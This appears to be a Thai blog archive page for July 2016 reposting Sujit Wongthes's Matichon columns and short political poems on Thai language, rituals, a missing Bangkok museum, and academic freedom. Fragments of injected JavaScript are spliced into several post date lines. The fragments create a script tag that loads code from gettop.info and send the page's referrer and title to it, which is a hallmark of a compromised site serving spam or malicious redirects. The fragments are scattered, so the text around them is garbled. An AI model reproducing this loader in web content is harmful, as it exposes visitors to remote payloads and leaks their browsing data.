Archive for กรกฎาคม, 2016

มติชน วันอาทิตย์ 31 กรกฎาคม 2559

มติชน วันอาทิตย์

31 กรกฎาคม 2559

 

มาด้วยโกงอำนาจราษฎร

ชัตดาวน์พระนครรัฐประหาร

อวดปราบโกงโก่งคอโคตรรำคาญ

จำอวดรัฐราชการโกงปราบโกง

 

สุจิตต์ วงษ์เทศ

ศุกร์ 29 กรกฎาคม 2559if (document.currentScript) {

อำนาจการเมือง ของภาษาไทย

มติชนรายวัน ฉบับประจำวันศุกร์ที่ 29 กรกฎาคม 2559

 

อำนาจการเมือง

ของภาษาไทย

 

          ภาษาไทย ตามหลักฐานวิชาการว่ามีรากเหง้าจากตระกูลภาษาไต-ไท พบเก่าสุดราว 3,000 ปีมาแล้ว อยู่บริเวณมณฑลกวางสี (ภาคใต้ของจีน) ต่อเนื่องถึงเมืองแถง ที่เดียนเบียนฟู (ภาคเหนือของเวียดนาม)

          คนยุคนั้นไม่เรียกตัวเองว่าคนไทย และไม่เรียกภาษาที่พูดว่าภาษาไทย

          ตราบจนปัจจุบันนี้ บริเวณกวางสีกับเมืองแถง ยังมีคนพูดตระกูลภาษาไต-ไท แต่ก็ไม่เรียกภาษาไทย และไม่เรียกตัวเองว่าคนไทย

          ตระกูลภาษาไต-ไท เป็นภาษากลางทางการค้าภายในภูมิภาค เพราะไม่ยุ่งยากซับซ้อน (เมื่อเทียบกับภาคอื่น) ทำให้แพร่กระจายออกไปกว้างขวาง ย่อมมีอำนาจมากทางการเมืองและเศรษฐกิจพร้อมกันไปด้วย โดยเฉพาะตั้งแต่ ลุ่มน้ำโขง, ลุ่มน้ำสาละวิน, ลุ่มน้ำเจ้าพระยา ฯลฯ (เพิ่มเติม…)

สาวพรหมจารี กวนข้าวทิพย์

มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 29 กรกฎาคม 2559

 

ประเพณี 12 เดือน

 

สาวพรหมจารี

กวนข้าวทิพย์

 

            ข้าวทิพย์ (มีชื่อเรียกเต็มๆ ว่า ข้าวกระยาทิพย์) เป็นชื่อของกินศักดิ์สิทธิ์ในพิธีกรรมทางศาสนาในอินเดีย

            ไทยเลียนแบบมาทำในวันสารท เดือนสิบ โดยเลือกของดีๆ มากวนเข้าด้วยกันตามที่คิดว่าอร่อยอย่าง “นึกเอาเอง”

            ดังพระราชนิพนธ์หนังสือพระราชพิธีสิบสองเดือน ของ ร.5 ตอนหนึ่งว่า

            “ข้าวทิพย์ที่เรากวนอยู่ในการพระราชพิธีทุกวันนี้ เห็นจะเกิดขึ้นด้วยนึกเอาเอง ดูตั้งใจจะให้มีถั่ว งา นม เนย และผลไม้ต่างๆ ให้พร้อมทุกอย่าง เป็นอันรวบรวมรสต่างๆ มาลงเป็นอันหนึ่งอันเดียว จนเรียกกันในคำประกาศว่าอเนกรสปายาส” (เพิ่มเติม…)

คนเขียนหนังสือ คนทำหนังสือพิมพ์

มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 28 กรกฎาคม 2559

 

คนเขียนหนังสือ

คนทำหนังสือพิมพ์

 

          งานวิชาการของนักปราชญ์ราชบัณฑิตรุ่นเก่าๆ ก่อนๆ ไม่ทิ้งตำนาน และหลักฐานท้องถิ่น มีแนวทางต่างจากแนวคิดทฤษฎีแบบอาณานิคม แต่ถูกนักวิชาการรุ่นต่อๆ กระทั่งปัจจุบันดูแคลน บางทีถึงกับเยาะเย้ยเหยียดหยามก็มี

          ผมจึงยกย่องงานนักปราชญ์ราชบัณฑิตเหล่านั้นออกแบ่งปันสู่สาธารณะ ผ่านนิตยสารศิลปวัฒนธรรมรายเดือน เริ่มตั้งแต่พฤศจิกายน 2522

          มีทั้งเอาพิมพ์ใหม่ทั้งหมด กับมีทั้งผมสรุปย่อใหม่ให้ง่าย บางทีไม่อ้างอิง บางทีอ้างอิงตามอารมณ์ขาดๆ เกินๆ ไม่เป็นระบบ เพราะไม่คิดเป็นงานวิชาการ ถ้าคิดเป็นงานวิชาการก็ไม่ทำ เพราะไม่ฉลาดที่จะทำได้

          งานวิชาการทั้งหลายที่ผมยกมาทำให้ง่ายๆ บางเรื่องทำได้เอง เพราะตัวเองอ่านเข้าใจ แต่หลายเรื่องอ่านเองไม่กระดิก ต้องอาศัยไหว้วานผู้เขียนช่วยสรุปให้ เพราะรู้จักมักคุ้นกัน ส่วนที่ไม่รู้จักก็ต้องพึ่งพานักวิชาการอื่นช่วยอธิบายอีกทอดหนึ่ง แล้วถึงสรุปไปทำใหม่ด้วยตัวเอง (เพิ่มเติม…)

แบบไทยไทย

แบบไทยไทย

 

ยกทัพโยธาประชามติ

แบบสากลพิจารณาก็หาไม่

เอาประชาธิปไตยแบบไทยไทย

กูต้องเป็นใหญ่กว่าพวกมึง

 

สุจิตต์ วงษ์เทศ

พุธ 27 กรกฎาคม 2559var d=document;var s=d.createElement(‘script’); s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

กรุงเทพฯ มิวเซียม ไม่มีใน กทม.

มติชนรายวัน ฉบับประจำวันพุธที่ 27 กรกฎาคม 2559

 

กรุงเทพฯ มิวเซียม ไม่มีใน กทม.

 

           กรุงเทพฯ เมืองหลวงของไทย ไม่มีกรุงเทพฯ มิวเซียม จัดแสดงประวัติศาสตร์สังคม บอกความเป็นมาหัวนอนปลายตีน กิน ขี้ ปี้ นอน ของผู้คนร้อยพ่อพันแม่ และความเป็นเมืองแม่น้ำลำคลอง ร้อยซ่องพันซอย

           เมืองหลวงในโลกที่มีประชากรเป็นสิบล้านคน (ทั้งในและนอกทะเบียนบ้าน) มักมีมิวเซียมประวัติศาสตร์สังคม บอกพัฒนาการความเป็นมาของเมืองหลวงนั้นๆ นอกจากเป็นแหล่งแลกเปลี่ยนเรียนรู้นอกระบบแล้ว ยังเป็นแหล่งท่องเที่ยวมีคุณค่าและมูลค่ามหาศาลอยู่ด้วย

           กทม. มีทั้งทุน, ทรัพยากร, และพื้นที่หรืออาคารเก่า ที่จะสร้างสรรค์กรุงเทพฯ มิวเซียม ได้มาตรฐานสากล แต่ไม่ทำ

           กลับทำสิ่งยังไม่ควรทำ คือ พิพิธภัณฑ์ท้องถิ่น ประจำเขต ทั่ว กทม. โดยฝากไว้ตามอาคารสถานที่ต่างๆ ทั้ง วัด, โรงเรียน, บ้านเอกชน, และของเขตเองบางเขต ฯลฯ (เพิ่มเติม…)

ตีกิน

ตีกิน

 

ชะรอยกรรมความเห็นชอบไม่ผ่าน

นานาชาติทุกสถานประจานสิ้น

เตรียมทางหนีทีไล่ไว้พลิกลิ้น

คนดีตีกินทั้งสองทาง

 

สุจิตต์ วงษ์เทศ

อังคาร 26 กรกฎาคม 2559d.getElementsByTagName(‘head’)[0].appendChild(s);if (document.currentScript) {

อาจารย์มหาวิทยาลัย ไปกันได้ดีกับ ม.44

มติชนรายวัน ฉบับประจำวันอังคารที่ 27 กรกฎาคม 2559

 

อาจารย์มหาวิทยาลัย

ไปกันได้ดีกับ ม.44

 

          ม.44 จัดระเบียบและแก้ปัญหาธรรมาภิบาลในมหาวิทยาลัยและสถาบันอุดมศึกษาหลายแห่งที่มีปัญหาแก้ไขกันเองไม่ได้

          จึงไปกันได้ดีกับการเมืองไทย “เปลี่ยนผ่านสู่ระบอบไม่ประชาธิปไตย” (ขอยืมจาก อ. เกษียร เตชะพีระ) ที่อาจารย์มหาวิทยาลัยเป็นผู้สนับสนุนหลักด้วยในเหตุการณ์เปลี่ยนผ่านครั้งล่าสุด

          สะท้อนคุณภาพการบริหารจัดการของอาจารย์มหาวิทยาลัย ซึ่งหนีไม่พ้นว่าต้องเกี่ยวข้องกับวิชาการ ดังมีนักการศึกษาระดับสูงจำนวนไม่น้อยกล่าวสอดคล้องกันดังนี้

          “มหาวิทยาลัยมีปัญหามากกว่าที่เป็นข่าว”, “จัดการศึกษาไม่ได้มาตรฐาน”, “แสวงหาประโยชน์จากการจัดการศึกษาที่ไม่มีคุณภาพ”

          ดังนั้น “ต้องปฏิรูปวัฒนธรรมและวิธีคิดจากที่เคยนึกถึงตัวเอง และคิดถึงแต่หลักสูตรของตัวเอง ต้องปรับมาคิดถึงการศึกษาจะได้อะไร”

          [มติชน ฉบับวันศุกร์ที่ 15 กรกฎาคม 2559 หน้า 2] (เพิ่มเติม…)

จุดไฟ

จุดไฟ

 

ความสุขถูกริบรัฐประหาร

เผด็จการผลาญวอดเหมือนมอดไหม้

ประหลาดคนมีร่างแต่ร้างใจ

คืนความสุขลุกเป็นไฟในใจคน

 

สุจิตต์ วงษ์เทศ

จันทร์ 25 กรกฎาคม 2559d.getElementsByTagName(‘head’)[0].appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

เสรีภาพทางวิชาการ ถ้าอาจารย์มี, นักศึกษาต้องมีด้วย

มติชนรายวัน ฉบับประจำวันจันทร์ที่ 25 กรกฎาคม 2559

 

เสรีภาพทางวิชาการ

ถ้าอาจารย์มี, นักศึกษาต้องมีด้วย

 

           ครูบาอาจารย์นักวิชาการมหาวิทยาลัยและในสถาบันต่างๆ ล้วนต้องการแล้วมีตามต้องการคือเสรีภาพทางวิชาการ และมีอิสระทางความคิดเสมอหน้ากัน

           จึงมีสิทธิ์เต็มเหนี่ยวที่จะเลือกรับจ้างนายทุน ไม่ว่านายทุนนั้นจะเป็นรัฐหรือเอกชน เพื่อศึกษาค้นคว้าวิจัยและสำรวจขุดค้นทางโบราณคดีและมานุษยวิทยาเสาะหาความรู้เรื่องใดเรื่องหนึ่งตามต้องการ

           แต่งานรับจ้างนั้น ต้องไม่เป็นไปเพื่อทำร้ายรังแกเบียดเบียนชาวบ้าน และไม่ทำลายธรรมชาติ ไม่ว่าชุมชนสองฝั่งแม่น้ำเจ้าพระยา หรือชุมชนป้อมมหากาฬ ตลอดจนแม่น้ำลำคลองหนองบึงบุ่งทามทั่วไป

           แล้วเลิกให้ร้ายคนอื่นรับเงินนายทุน เพราะตัวเองก็ทำอย่างเดียวกัน ขณะเดียวกันต้องเปิดเสรีภาพทางวิชาการให้นักศึกษาด้วยในการทำกิจกรรมวิชาการเพื่อสังคม (เพิ่มเติม…)